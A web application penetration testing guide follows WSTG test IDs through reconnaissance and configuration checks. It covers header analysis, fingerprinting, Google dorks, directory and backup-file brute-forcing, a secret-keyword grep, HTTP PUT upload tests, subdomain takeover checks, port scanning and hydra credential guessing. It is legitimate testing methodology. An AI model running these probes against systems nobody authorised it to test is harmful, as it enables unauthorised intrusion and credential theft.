

Web Application Security Testing Guide

Phase 1

Phase 1: Information Gathering & Reconnaissance

Main Heading: WSTG-INFO - Information Gathering

Objective: This initial phase is about understanding the application's landscape without performing any exploits. We aim to map the application's surface, identify technologies in use, and discover potential information leakage. A thorough reconnaissance phase is critical as it informs our entire testing strategy, allowing us to focus our efforts and save significant time.

Activity 1.1: Analyze Security Headers

Sub-heading: WSTG-CONF-07 - Review HTTP Security Headers

Objective: To inspect the HTTP response headers sent by the server. These headers are a "first line of defense" and give us immediate insight into the application's security posture.

Pre-conditions:

- You have the URL of the target application.

Time-Saving Analysis:

- If **Strict-Transport-Security (HSTS)** is present and correctly configured: It's unlikely you'll be able to perform SSL stripping attacks.
- If **Content-Security-Policy (CSP)** is strong: The likelihood of successful Cross-Site Scripting (XSS) is significantly reduced. We can then de-prioritize basic XSS checks and focus on finding CSP bypasses.
- If **X-Frame-Options** or **frame-ancestors** in CSP is set to **DENY** or **SAMEORIGIN**: Clickjacking attacks are likely not possible.
- If **Transfer-Encoding: chunked** is NOT used: It's highly improbable that the application is vulnerable to HTTP Request Smuggling using the CL.TE method.

Method 1: Using Browser Developer Tools (Manual)

1. Navigate to the target URL in your browser (Firefox or Chrome).
2. Open Developer Tools (F12 or Ctrl+Shift+I).
3. Go to the "Network" tab.
4. Refresh the page (Ctrl+R) to capture traffic.

5. Select the first request to the main document (e.g., `example.com`).
6. In the "Headers" pane, scroll down to "Response Headers" and analyze them.

Method 2: Using `curl` (Command-Line)

`curl` is a powerful command-line tool for transferring data with URLs. We can use it to fetch just the headers.

1. Open your terminal.
2. Run the following command, replacing `https://example.com` with your target:

Bash

```
curl -s -I -L https://example.com
```

- `-s`: Silent mode (doesn't show progress).
- `-I`: Fetches headers only.
- `-L`: Follows redirects.

Successful Response (Well-Configured Headers):

A successful check means you've found a robust set of security headers.

HTTP

```
HTTP/2 200
content-type: text/html; charset=UTF-8
strict-transport-security: max-age=63072000; includeSubDomains; preload
x-frame-options: DENY
x-content-type-options: nosniff
content-security-policy: script-src 'self'; object-src 'none';
referrer-policy: strict-origin-when-cross-origin
x-xss-protection: 0
```

Unsuccessful Response (Poorly-Configured/Missing Headers):

An unsuccessful check reveals weak security, which is a "win" for us as testers.

HTTP

```
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
Content-Type: text/html
Cache-Control: max-age=604800
Date: Tue, 14 Oct 2025 06:25:11 GMT
Connection: keep-alive
```

Note the absence of HSTS, CSP, X-Frame-Options, etc.

Activity 1.2: Fingerprint Web Server & Application Framework

Sub-heading: WSTG-INFO-02 & WSTG-INFO-08 - Fingerprint Web Server & Framework

Objective: To identify the specific software and versions running the web server (e.g., Nginx, Apache, IIS) and the application framework (e.g., PHP, ASP.NET, Ruby on Rails, WordPress).

Pre-conditions:

- You have the URL or IP address of the target.

Time-Saving Analysis:

- **Identified** `Server: Microsoft-IIS/8.5` and `X-AspNet-Version: 4.0.30319`: You can now focus your research on known vulnerabilities for IIS 8.5 and ASP.NET 4.0. This avoids wasting time on attacks that only work against Linux/Apache stacks.
- **Identified a WordPress site:** You can immediately use a specialized tool like `wpscan` to enumerate plugins, themes, and users, which is far more efficient than manual guessing.

Method 1: Analyzing HTTP Headers (Manual)

As in the previous step, look at the response headers. The `Server` and `X-Powered-By` headers are the most common giveaways.

- `Server: nginx/1.18.0` -> Nginx web server.
- `X-Powered-By: PHP/7.4.3` -> PHP is used.
- `X-Powered-By: ASP.NET` -> ASP.NET framework.

Method 2: Using `whatweb` (Command-Line)

`WhatWeb` is a next-generation web scanner that is excellent for identifying technologies.

1. Open your terminal.
2. Run the command:

Bash

```
whatweb -v https://example.com
```

- `-v`: Verbose mode, for more detail.

Successful Response (Detailed Fingerprint):

A successful fingerprint provides a wealth of information to guide your next steps.

WhatWeb report for <https://example.com>

Status : 200 OK
Title : Example Domain
IP : 93.184.216.34
Country : UNITED STATES, US

Detected Plugins:

[HTTPServer] Apache[2.4.29], Ubuntu
[Cookies] __cfduid
[Script] JQuery[1.12.4]
[WebServer] Apache[2.4.29]
[Font-Script] Google-Font-API

HTTP Headers:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: Apache/2.4.29 (Ubuntu)
...

Unsuccessful Response (Generic Fingerprint):

Sometimes servers are hardened to hide this information. This is also a key finding, as it indicates a more mature security posture.

WhatWeb report for <https://hardened-site.com>

Status : 200 OK
Title : Welcome
IP : 1.2.3.4
Country : UNITED STATES, US

Detected Plugins:

[HTTPServer]
[Cookies] sessid

HTTP Headers:

HTTP/1.1 200 OK
Content-Type: text/html
Server: [REDACTED] # Sometimes the header is generic or removed
Date: Tue, 14 Oct 2025 06:30:00 GMT

Method 3: Using `nmap` Scripts (Command-Line)

`Nmap` (Network Mapper) can do more than just scan ports. Its scripting engine (NSE) can perform service version detection and enumeration.

1. Open your terminal.
2. Run the command:

Bash

```
nmap -sV -p 80,443 --script http-enum,http-title,http-server-header <target-ip-or-domain>
```

- `-sV`: Probe open ports to determine service/version info.
- `-p 80,443`: Only scan standard web ports.
- `--script ...`: Run specific NSE scripts for web enumeration.

Successful Response (Nmap Output):

```
Starting Nmap 7.91 ( https://nmap.org ) at 2025-10-14 11:35 PKT
Nmap scan report for example.com (93.184.216.34)
Host is up (0.21s latency).
rDNS record for 93.184.216.34: ...
```

```
PORT      STATE SERVICE  VERSION
80/tcp    open  http     Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Example Domain
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Example Domain
```

```
Service detection performed. Please report any incorrect results at ...
Nmap done: 1 IP address (1 host up) scanned in 15.31 seconds
```

This concludes the first part of the Information Gathering phase.

Activity 1.3: Review Webpage Content for Information Leakage

Sub-heading: WSTG-INFO-05 - Review Webpage Content for Information Leakage

Objective: To manually inspect the client-side code (HTML, CSS, JavaScript) for comments, metadata, and other hidden information that developers may have accidentally left behind. This can reveal internal hostnames, API endpoints, credentials, or business logic.

Pre-conditions:

- You have the URL of the target application.
- Access to a web browser with developer tools.

Time-Saving Analysis:

- **Finding API endpoints in comments:** If you discover a comment like ```, you can immediately start testing this endpoint, even if it's not linked anywhere on the site.
- **Discovering username formats:** A comment like `// j.smith is the admin user` reveals the company's username convention, which is invaluable for later brute-force or password-guessing attacks.
- **Finding old script paths:** Locating a commented-out script tag like `<-- <script src="/js/v1/old_script.js"></script> -->` gives you a direct link to potentially vulnerable, unmaintained legacy code.

Method 1: Manual Inspection in Browser

This is the most fundamental and essential method.

1. Navigate to the target URL.
2. Right-click anywhere on the page and select **"View Page Source"** (or press `Ctrl+U`).
3. Use the find feature (`Ctrl+F`) to search for common keywords that indicate sensitive information:
 - ``` (HTML comments)
 - `/*` and `*/` (CSS/JS comments)
 - `//` (JS comments)
 - Keywords: `api_key`, `password`, `debug`, `todo`, `internal`, `admin`, `secret`, `username`.

Method 2: Using `wget` and `grep` (Command-Line)

This method is useful for scripting and searching across multiple downloaded pages.

1. Open your terminal.
2. Use `wget` to download the page's HTML content to a file.

Bash

```
wget -q -O page_content.html https://example.com
```

- `-q`: Quiet mode.
- `-O`: Specify output file name.

3. Use `grep` to search for patterns within the downloaded file.

Bash

```
grep -E -i 'password|api_key|secret|todo|debug' page_content.html
```

- `-E`: Use extended regular expressions.
- `-i`: Case-insensitive search.

Successful Response (Information Leakage Found):

A successful check reveals developer comments or sensitive data embedded in the code.

HTML

```
<input type="hidden" name="is_admin" value="false">
```

Unsuccessful Response (Clean Code):

No comments, hidden fields, or sensitive data are found. The source code is clean and production-ready. This is a sign of good development practices.

Activity 1.4: Conduct Search Engine Discovery (Google Dorking)

Sub-heading: WSTG-INFO-01 - Conduct Search Engine Discovery and Reconnaissance for Information Leakage

Objective: To leverage public search engines to find sensitive files, exposed directories, login portals, and error messages that have been unintentionally indexed and are publicly accessible.

Pre-conditions:

- Knowledge of advanced search engine operators (dorks).

Time-Saving Analysis:

- **Finding exposed log files:** Discovering an indexed `error.log` can provide full path disclosures, software versions, and even database queries, allowing you to bypass many other enumeration steps.
- **Locating admin panels:** A simple search can often reveal a forgotten or non-publicized administration portal, giving you a direct target for credential-based attacks.
- **Finding sensitive documents:** Indexed PDFs, Word documents, or spreadsheets can contain internal information, usernames, and sometimes even passwords.

Method: Using Google Dorks

Combine these operators in the Google search bar to narrow down results for your target.

- `site:example.com` Restricts results to the target domain.
- `filetype:pdf` Searches for specific file types (e.g., `pdf`, `log`, `txt`, `sql`, `xls`).
- `intitle:"index of"` Looks for open directory listings.
- `inurl:admin` Searches for "admin" in the URL.
- `intext:"login"` Searches for specific text on the page.

Example Dork Combinations:

- Find admin login pages on the target site:
site:example.com intitle:"admin login" OR inurl:admin
- Find potentially sensitive log or SQL files:
site:example.com filetype:log OR filetype:sql
- Find spreadsheets that might contain user data:
site:example.com filetype:xls intext:"username"
- Find indexed pages showing SQL error messages:
site:example.com "SQL syntax near"

Successful Response (Sensitive Information Found):

The search results provide a direct link to a resource that should not be public.

For example, a search for `site:example.com filetype:log` might yield a result titled "**access.log**" which, when clicked, displays raw server access logs.

Unsuccessful Response (No Leaks Found):

The search engine queries return no sensitive files, error messages, or exposed panels. This indicates the application has a well-configured robots.txt file and developers have been careful about what gets indexed.

Activity 1.5: Discover Hidden Content and Directories

Sub-heading: `WSTG-INFO-04 - Enumerate Applications on Webserver`

Objective: To find files and directories that exist on the web server but are not linked from the application's pages. This is a critical step for discovering hidden administrative portals, exposed configuration files, source code repositories, and API endpoints, thereby expanding the attack surface.

Pre-conditions:

- You have the target URL.
- You have access to a good wordlist. The **SecLists** repository is the industry standard (`/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt` is a great starting point on Kali Linux).

Time-Saving Analysis:

- **Finding a `/.git/config` file:** This is a critical finding. It means the git repository is exposed, and we may be able to download the entire application's source code, revealing vulnerabilities without further testing.

- **Discovering** `/swagger-ui.html` or `/api-docs`: This can expose the entire API documentation, saving dozens of hours of manual endpoint discovery.
- **Locating** `/backup/` or `/.bak` files: Finding backups of configuration files (e.g., `web.config.bak`) can reveal database connection strings, API keys, and other secrets.

Method 1: Using `gobuster` (Command-Line)

`gobuster` is a fast and popular tool for brute-forcing URIs (files and directories).

1. Open your terminal.
2. Run the following command, replacing the URL and wordlist path as needed.

Bash

```
gobuster dir -u https://example.com -w /path/to/your/wordlist.txt -x
php,txt,html -t 50
```

- `dir`: Specifies directory/file brute-forcing mode.
- `-u`: The target URL.
- `-w`: The path to your wordlist.
- `-x`: Search for files with these extensions (e.g., `index.php`).
- `-t`: Number of concurrent threads (higher is faster, but can be noisy).

Successful Response (Interesting Content Found):

The output lists accessible paths with their HTTP status codes.

```
=====
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:                https://example.com
[+] Threads:            50
[+] Wordlist:            /path/to/your/wordlist.txt
[+] Status codes:       200,204,301,302,307,401,403
[+] User-Agent:         gobuster/3.1.0
[+] Extensions:        php,txt,html
=====
/index.html             (Status: 200)
/assets                 (Status: 301)
/admin                  (Status: 403) [!!!] Forbidden, might be interesting
/login.php              (Status: 200)
/config.txt.bak         (Status: 200) [!!!] Critical finding!
/.git/config            (Status: 200) [!!!] Critical finding!
```

/api (Status: 301)

Unsuccessful Response (Nothing Found):

The tool only finds a few common files like /index.html or returns only 404 Not Found for everything. This suggests a small attack surface or good security hardening.

Method 2: Using `feroxbuster` (Command-Line)

`feroxbuster` is a powerful, fast, and recursive alternative written in Rust.

1. Open your terminal.
2. Run the command:

Bash

```
feroxbuster -u https://example.com -w /path/to/your/wordlist.txt -x php txt html
```

- The flags are very similar to `gobuster`, but `feroxbuster` is recursive by default, meaning if it finds a directory `/api/`, it will automatically start scanning inside `/api/` as well.

Activity 1.6: Identify Application Entry Points

Sub-heading: `WSTG-INFO-06 - Identify Application Entry Points`

Objective: To map every single location where a user can supply data to the application. This is the foundation for all input-based vulnerability testing (like SQLi, XSS, etc.).

Pre-conditions:

- A web proxy like **Burp Suite** or **OWASP ZAP** must be configured to intercept your browser's traffic.

Method: Spidering and Manual Browsing with a Proxy

1. **Configure your browser** to send traffic through your web proxy (e.g., Burp Suite listening on `127.0.0.1:8080`).
2. **Manually browse the site:** Navigate to every page, click every link, submit every form (with valid and invalid data), and interact with every feature.
3. **Use the proxy's spidering function:** Most proxies have an automated spider that can crawl the website to find links and forms you might have missed. In Burp Suite, you can right-click the target in the "Target" -> "Site map" tab and choose "Scan" (which includes crawling).
4. **Review the results:** Go to the "HTTP history" tab in your proxy. This is now your master list of all application entry points. Look for:
 - **URL Parameters:** `GET /search.php?query=test`
 - **POST Body Data:** `POST /login` with `username=user&pass=pass`

- **JSON/XML Payloads:** `POST /api/v1/users` with `{"name":"test"}`
- **HTTP Headers:** Custom headers like `X-Client-ID` or standard headers like `User-Agent` and `Referer`.
- **Cookies:** `Cookie: sessionId=...; user_preference=...`

Successful Discovery (Example Entry Points):

A successful discovery is a comprehensive list of requests that represent the application's attack surface.

GET request with parameters:

HTTP

```
GET /user/profile?user_id=123 HTTP/1.1
Host: example.com
```

POST request with form data:

HTTP

```
POST /user/update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=testuser&email=a@b.com
```

POST request with JSON data:

HTTP

```
POST /api/v1/create HTTP/1.1
Host: example.com
Content-Type: application/json

{"item":"book","quantity":1}
```

This completes the Information Gathering phase. We have now mapped the application's technology, security posture, and attack surface. The next phase is to test for issues related to configuration and deployment management.

Activity 1.7: Review Web Server Metafiles

Main Heading: `WSTG-INFO-03 - Review Webserver Metafiles for Information Leakage`

Objective: To inspect files intended for search engine crawlers and web server utilities, such as `robots.txt`, `sitemap.xml`, and security-related files like `security.txt`, for information leakage. These files can inadvertently reveal the location of sensitive administrative portals, API endpoints, or private directories.

Impact:

- **Medium Risk:** 🟡 These files can provide a direct roadmap to an application's hidden or sensitive areas. An entry in `robots.txt` intended to hide an `/admin` portal from Google also confirms its existence to an attacker.

Methodology:

1. **Navigate Directly to the Files:** In your browser, go to the root of the target domain and check for these common files:
 - `https://example.com/robots.txt`
 - `https://example.com/sitemap.xml`
 - `https://example.com/security.txt`
2. **Analyze the Contents:**
 - In `robots.txt`: Look for `Disallow:` entries. These tell search engines what not to index. An attacker sees this as a list of interesting places to investigate.
 - In `sitemap.xml`: This file lists all the URLs the site owner *wants* indexed. It can reveal endpoints you might have missed during manual crawling.
 - In `security.txt`: This file (defined in RFC 9116) can provide contact information for the security team, which is useful for reporting but can also be used for social engineering.

Unsuccessful Response (Vulnerable Configuration):

The `robots.txt` file contains entries that reveal sensitive paths.

```
# robots.txt
User-agent: *
Disallow: /admin-portal/
Disallow: /api/v2/internal/
Disallow: /backup-staging/
```

This is a gift to an attacker, confirming the existence and location of three high-value targets.

Successful Response (Secure Configuration):

The `robots.txt` file is either absent or contains only entries for non-sensitive paths (e.g., `Disallow: /search/`).

*Activity 1.8: Map Application Architecture

Main Heading: WSTG-INFO-10 - Map Application Architecture

Objective: Our objective is to synthesize all reconnaissance data into a high-level understanding of the application's architecture. This allows us to identify the seams between different technologies where complex vulnerabilities may exist.

Core Concept Explained:

This is not a direct vulnerability test but a crucial intelligence-gathering phase. Modern applications are rarely a single monolithic entity. They are often a complex chain of components: a load balancer, a Web Application Firewall (WAF), a front-end reverse proxy, and one or more back-end application servers. Understanding this chain is essential for planning advanced attacks like HTTP Request Smuggling or Web Cache Poisoning.

Impact:

- **Medium Risk (Reconnaissance Finding):** Failing to map the architecture can cause us to miss entire attack surfaces or misinterpret application behavior. A well-defined map informs our entire testing strategy.

Tooling:

- `nmap`
- Burp Suite
- Browser Developer Tools

Methodology:

1. **Analyze Headers:** We inspect HTTP response headers for `Server`, `X-Powered-By`, `X-WAF-Provider`, and other custom headers that reveal the different technologies in the stack.
2. **Perform Port Scanning:** We use `nmap` to perform service version detection on the host's open ports (`nmap -sV target.com`) to identify running services.
3. **Induce Errors:** We deliberately send malformed requests. The style and content of the resulting error pages (e.g., an Nginx error vs. an Apache error) can reveal which component is handling the request.
4. **Synthesize Findings:** We combine all findings to create a logical diagram of the request flow, from the user to the back-end.

Unsuccessful Response (Vulnerable Information Leak):

The server's response headers explicitly detail the different components in the architecture, giving us a clear map of our targets.

```
HTTP/1.1 200 OK
Server: nginx/1.18.0
X-Powered-By: PHP/8.1.2
```

X-WAF-Info: Blocked by Generic WAF

Date: Wed, 15 Oct 2025 10:47:35 GMT

Successful Response (Secure Application):

The application is hardened to provide minimal information. All headers are generic or have been stripped by a proxy, forcing us to infer the architecture through more advanced probing.

HTTP/1.1 200 OK

Server: Web-Server

Date: Wed, 15 Oct 2025 10:47:35 GMT

Activity 1.9: Fingerprint Web Application

Main Heading: WSTG-INFO-09 - Fingerprint Web Application

Objective: Our goal is to identify the specific web application software, frameworks, and components in use, including their exact versions. This information allows us to search for known public vulnerabilities.

Core Concept Explained:

No application is built in a vacuum. It relies on a stack of technologies (e.g., WordPress, Drupal, Apache Struts, Django). If we can identify a specific, outdated component (e.g., WordPress version 5.8), we can look up known Common Vulnerabilities and Exposures (CVEs) for that version and potentially gain an immediate foothold.

Impact:

- **High Risk (Reconnaissance Finding):** A precise fingerprint, especially one that reveals an outdated component with a known RCE vulnerability, can be the single most critical finding in a penetration test.

Tooling:

- whatweb
- Wappalyzer (browser extension)
- Burp Suite

Methodology:

1. **Automated Scanning:** We use `whatweb -v target.com` for a comprehensive initial scan to identify common technologies.
2. **Browser Plugin Analysis:** We browse the application with a tool like Wappalyzer to identify front-end technologies like jQuery, React, or Vue.js.
3. **Manual Source Inspection:** We inspect the HTML source code for common giveaways, such as meta `generator` tags (e.g., `<meta name="generator" content="WordPress 5.8.1">`), comments, and specific script paths (e.g., `/wp-content/plugins/`).

Unsuccessful Response (Vulnerable Information Leak):

The application and its components clearly advertise their specific, outdated versions, allowing us to find a corresponding public exploit.

```
# whatweb --no-errors https://vulnerable-site.com
https://vulnerable-site.com [200 OK]
Country[UNITED STATES], Apache[2.4.29], Cookies[wordpress_test_cookie],
HTML5, JQuery[1.12.4], OpenSSL[1.1.1f], PHP[7.4.3],
Title[Vulnerable Site], WordPress[5.8.1], X-Powered-By[PHP/7.4.3]
```

Successful Response (Secure Application):

The application has been hardened to remove version information. Banners are generic, and common file paths have been renamed, forcing us to identify vulnerabilities through manual testing rather than known exploits.

Phase 2

Activity 2.1: Configuration and Deployment Management Testing

Main Heading: WSTG-CONF - Configuration and Deployment Management Testing

Objective: To identify and validate security issues that arise from improper server configuration, deployment processes, or the underlying platform. These are not flaws in the application's custom code, but in the environment it runs in. A secure application running on a misconfigured server is still vulnerable.

Activity: Test for Old, Backup, and Unreferenced Files

Sub-heading: WSTG-CONF-04 - Review Old, Backup and Unreferenced Files for Sensitive Information

Objective: To discover sensitive files that were not cleaned up after development or deployment. Developers often create copies of files (e.g., `config.php.bak`, `users.csv.old`) which can be accessed directly by an attacker if they guess the name.

Pre-conditions:

- You have a list of known filenames from Phase 1 (e.g., `login.php`, `web.config`, `index.html`).
- Access to a brute-forcing tool and a wordlist focused on backup extensions.

Impact:

- **Critical Risk:** A backup of a configuration file like `wp-config.php.bak` or `web.config.old` can expose plaintext database credentials.

- **High Risk:** A backup of a source code file can allow an attacker to perform a full source code review offline, making it much easier to find other vulnerabilities.

Method 1: Manual Guessing with `curl`

Based on files you discovered in Phase 1, you can manually guess common backup extensions.

1. Open your terminal.
2. Let's assume you found a file named `db_connect.php`. Test for common backup patterns:

Bash

```
# Test for .bak extension
curl -s -o /dev/null -w "%{http_code}" https://example.com/db_connect.php.bak

# Test for a tilde ~ extension (common on Linux)
curl -s -o /dev/null -w "%{http_code}" https://example.com/db_connect.php~

# Test for .old extension
curl -s -o /dev/null -w "%{http_code}" https://example.com/db_connect.php.old

# Test for .zip extension
curl -s -o /dev/null -w "%{http_code}" https://example.com/db_connect.zip
```

- The command will output the HTTP status code. `200` means you found a file! `404` means it doesn't exist.

Method 2: Automated Discovery with `ffuf`

`ffuf` is another extremely fast web fuzzer that is great for this task. We can use it to test for backup extensions against a known file.

1. Create a small wordlist file named `extensions.txt` with common backup extensions:

```
.bak
.old
.orig
.zip
.tar.gz
.tmp
~
.copy
.swp
```

2. Run `ffuf` to fuzz the extension for the file `db_connect.php`.

Bash

```
ffuf -u https://example.com/db_connect.phpFUZZ -w extensions.txt -fs 0
```

- `-u`: The target URL. `FUZZ` is the placeholder where `ffuf` will inject the wordlist entries.
- `-w`: Path to your wordlist (`extensions.txt`).
- `-fs 0`: Filter out responses of size 0.

Successful Request (Backup File Found):

Your request for a backup file gets a 200 OK response and returns the file's content, which might be source code or credentials.

HTTP

```
GET /wp-config.php.bak HTTP/1.1
Host: example.com

HTTP/1.1 200 OK
Content-Type: application/x-php
Content-Length: 3014

<?php
/**
 * The base configuration for WordPress
 *
 * ...
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );

/** MySQL database username */
define( 'DB_USER', 'wp_user' );

/** MySQL database password */
define( 'DB_PASSWORD', 'sTr0ng_p@ssw0rd_in_pl@intext!' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

...
?>
```

Unsuccessful Request:

The server correctly returns 404 Not Found.

Activity 2.2: Test HTTP Methods

Sub-heading: WSTG-CONF-06 - Test HTTP Methods

Objective: To check if potentially unsafe or unnecessary HTTP methods (verbs) like `PUT`, `DELETE`, or `TRACE` are enabled on the server.

Pre-conditions:

- You have the target URL.

Impact:

- **High Risk** (`PUT`): If enabled, an attacker might be able to upload arbitrary files (like a web shell) to the server.
- **High Risk** (`DELETE`): An attacker could potentially delete resources on the server.
- **Medium Risk** (`TRACE`): Can be used in **Cross-Site Tracing (XST)** attacks to potentially steal cookies, bypassing the `HttpOnly` flag in some older browser scenarios.

Method 1: Using `curl` with `OPTIONS`

The `OPTIONS` method asks the server which request methods it supports for a specific URL.

1. Open your terminal.
2. Run the command:

Bash

```
curl -v -X OPTIONS https://example.com/
```

- `-v`: Verbose output to see all headers.
- `-X OPTIONS`: Specifies the request method.

Successful Response (Safe Configuration):

The Allow header in the response only shows safe, expected methods.

HTTP

```
< HTTP/1.1 200 OK
< Allow: GET, POST, HEAD, OPTIONS
< Content-Length: 0
<
```

Unsuccessful Response (Dangerous Methods Enabled):

The Allow header lists methods that could be abused.

HTTP

```
< HTTP/1.1 200 OK
< Allow: GET, POST, HEAD, OPTIONS, PUT, DELETE, TRACE
< Content-Length: 0
<
```

If you see `PUT` or `DELETE`, you should immediately try to use them.

Testing a `PUT` request:

Bash

```
# Attempt to upload a file named test.txt with the content "Hello"
curl -X PUT -d "Hello" https://example.com/test.txt -v
```

A vulnerable server might respond with `201 Created`, indicating your file was successfully uploaded. A secure server will respond with `405 Method Not Allowed`.

Method 2: Using `nmap`'s `http-methods` script

`nmap` can quickly check this for you.

1. Open your terminal.
2. Run the command:

Bash

```
nmap --script http-methods --script-args http-methods.url-path="/" -p 80,443
example.com
```

Successful `nmap` Output (Vulnerable Server):

```
PORT      STATE SERVICE
443/tcp   open  https
| http-methods:
|   Supported Methods: GET HEAD POST OPTIONS PUT DELETE TRACE
|_  Potentially risky methods: PUT DELETE TRACE
```

This covers two of the most critical configuration checks. We can continue with testing for subdomain takeovers and HTTP Strict Transport Security next.

Activity 2.3: Configuration and Deployment Management Testing

Main Heading: `WSTG-CONF - Configuration and Deployment Management Testing`

Activity: Test for Subdomain Takeover

Sub-heading: WSTG-CONF-10 - Test for Subdomain Takeover

Objective: To identify subdomains that have a DNS record (typically a `CNAME`) pointing to a third-party service (like AWS S3, GitHub Pages, Heroku) where the corresponding account or resource has been deleted or expired. An attacker can then claim this service and host malicious content on the legitimate subdomain.

Pre-conditions:

- A comprehensive list of the target's subdomains. You can obtain this using tools like `subfinder`, `amass`, or by searching public records on sites like VirusTotal.

Impact:

- **Critical Risk:** An attacker can serve malicious content from your trusted domain, allowing them to perform sophisticated phishing attacks, steal cookies scoped to the parent domain, and bypass Cross-Origin Resource Sharing (CORS) policies.

Method 1: Subdomain Enumeration and Manual Probing

1. Enumerate Subdomains:

Bash

```
subfinder -d example.com -o subdomains.txt
```

2. Check CNAME Records:

For each subdomain in your list, check its `CNAME` record.

Bash

```
dig CNAME blog.example.com
```

The output might show `blog.example.com. CNAME some-user.github.io.`

3. Visit the Subdomain:

Open `http://blog.example.com` in your browser.

4. Look for Fingerprints:

A vulnerable service will display a specific error message indicating the resource is available to be claimed. Common fingerprints include:

- "There isn't a GitHub Pages site here."
- "NoSuchBucket" (for Amazon S3)
- "This shop is unavailable." (for Shopify)
- "No such app" (for Heroku)

Method 2: Automated Scanning with `nuclei`

`nuclei` is a fast and template-based vulnerability scanner that has excellent templates for detecting subdomain takeovers.

1. Open your terminal.
2. Run `nuclei` against your list of subdomains.

Bash

```
nuclei -l subdomains.txt -t "dns/subdomain-takeover/" -c 50
```

- `-l`: The list of subdomains to test.
- `-t`: Specifies the template or directory of templates to use.
- `-c`: Concurrency/threads.

Successful Request (Vulnerable Subdomain Found):

The tool or your manual check will identify a service that can be claimed.

The output from `nuclei` would look something like this:

```
[2025-10-14 11:45:10] [subdomain-takeover] [http] [high] http://blog.example.com  
[github-pages-takeover]
```

Visiting the page `http://blog.example.com` would show:

```
404 - There isn't a GitHub Pages site here.
```

Unsuccessful Request:

All subdomains resolve correctly to live, configured applications, and no "can be claimed" fingerprints are found.

Activity 2.4: Test HTTP Strict Transport Security (HSTS)

Sub-heading: `WSTG-CONF-07 - Test HTTP Strict Transport Security`

Objective: To verify that the application uses the `Strict-Transport-Security` header correctly. This header instructs browsers to communicate with the site *only* over HTTPS, preventing SSL stripping and other man-in-the-middle attacks.

Pre-conditions:

- The target URL.

Impact:

- **Medium/High Risk:** Without a strong HSTS policy, users connecting to the site for the first time over HTTP (e.g., by typing `example.com` into the address bar) can be intercepted and kept on an unencrypted connection by an attacker.

Method: Using `curl` to Inspect Headers

This is the most direct way to check the header's presence and directives.

1. Open your terminal.
2. Run the following `curl` command:

Bash

```
curl -s -I https://example.com | grep -i "Strict-Transport-Security"
```

- `-s`: Silent mode.
- `-I`: Head request (headers only).
- `grep -i`: Case-insensitive search for the header.

3. **Analyze the Header:** A strong HSTS header should have:

- `max-age`: A long duration, typically at least one year (`31536000` seconds).
- `includeSubDomains`: Ensures the policy applies to all subdomains.
- `preload`: A flag that allows the site to be submitted for inclusion in browser preload lists, offering the highest level of protection.

Successful Response (Strong HSTS Configuration):

The output shows a header with a long max-age and all necessary directives.

```
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
```

Unsuccessful Response (Weak or Missing HSTS):

There are several ways this can fail:

- **Header is Missing:** The `curl` command returns no output. This is the most common failure.
- `max-age` is too short:

```
Strict-Transport-Security: max-age=3600
```

This policy would only last for one hour, which is ineffective.

- `includeSubDomains` is missing:

```
Strict-Transport-Security: max-age=31536000
```

This leaves subdomains like `dev.example.com` unprotected.

Activity 2.5: Map Network and Server Infrastructure

Main Heading: WSTG-INFO-10 - Map Network and Server Infrastructure

Objective: Our objective is to expand our reconnaissance beyond the web application itself to map the surrounding network infrastructure, identifying other potential points of entry or related systems.

Core Concept Explained:

The web application does not exist in isolation. It is hosted on a server, which has an IP address and may have other services running on different ports. This server is part of a larger network block (AS number). By mapping this infrastructure, we can discover related subdomains, other applications hosted by the same organization, and potentially misconfigured services on adjacent ports.

Impact:

- **Medium Risk (Reconnaissance Finding):** This activity broadens the attack surface. A forgotten development server on a subdomain or a misconfigured FTP service on another port can provide an easier path to compromise than the hardened web application itself.

Tooling:

- `nmap`
- `dig` / `nslookup`
- `amass` / `subfinder`

Methodology:

1. **DNS Interrogation:** We use `dig ANY target.com` to find DNS records like MX (mail servers) and TXT, which can reveal information about hosting providers and security services.
2. **Subdomain Enumeration:** We use tools like `amass` to discover related subdomains that may host other applications.
3. **Port Scanning:** We perform a full `nmap` scan on the target IP address to identify all running services, not just the web server on ports 80/443.
4. **Autonomous System (AS) Analysis:** We identify the target's AS number to find other network ranges owned by the organization, potentially revealing more targets.

Unsuccessful Response (Vulnerable Information Leak):

The `nmap` scan reveals other, potentially misconfigured services running on the same server, such as an exposed database port or an outdated SSH version.

```
# nmap -sV -p- target.com
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4    <-- Potentially vulnerable
22/tcp    open  ssh          OpenSSH 7.2p2    <-- Outdated version
80/tcp    open  http         Apache httpd 2.4.29
443/tcp   open  ssl/http     Apache httpd 2.4.29
3306/tcp  open  mysql        MySQL 5.7.22
```

Successful Response (Secure Application):

The port scan confirms that only the necessary web ports (80, 443) are open to the internet. All other ports are firewalled, presenting a minimal attack surface.

Activity 2.6: Test Network/Infrastructure Configuration

Main Heading: WSTG-CONF-01 - Test Network/Infrastructure Configuration

Objective: Our goal is to identify security misconfigurations in the network services discovered during the mapping phase, such as outdated services with known exploits, weak credentials, or information leakage.

Core Concept Explained:

This test moves from discovery to active probing of non-HTTP services. The web application may be secure, but if the SSH service running on the same server is vulnerable to a known exploit or has default credentials, the entire server can be compromised.

Impact:

- **Critical Risk:** A single misconfiguration, such as an outdated SSH version with a remote code execution vulnerability or a database exposed with default credentials, leads to an immediate and full server compromise.

Tooling:

- `nmap` (with the Nmap Scripting Engine - NSE)
- `metasploit-framework`
- `hydra`

Methodology:

1. **Scan for Vulnerabilities:** We use `nmap` with its scripting engine to actively check for known vulnerabilities in the discovered services: `nmap -sV --script vuln target.com`.
2. **Test for Default Credentials:** For services like FTP, SSH, or databases, we use a tool like `hydra` to test for weak or default username/password combinations.
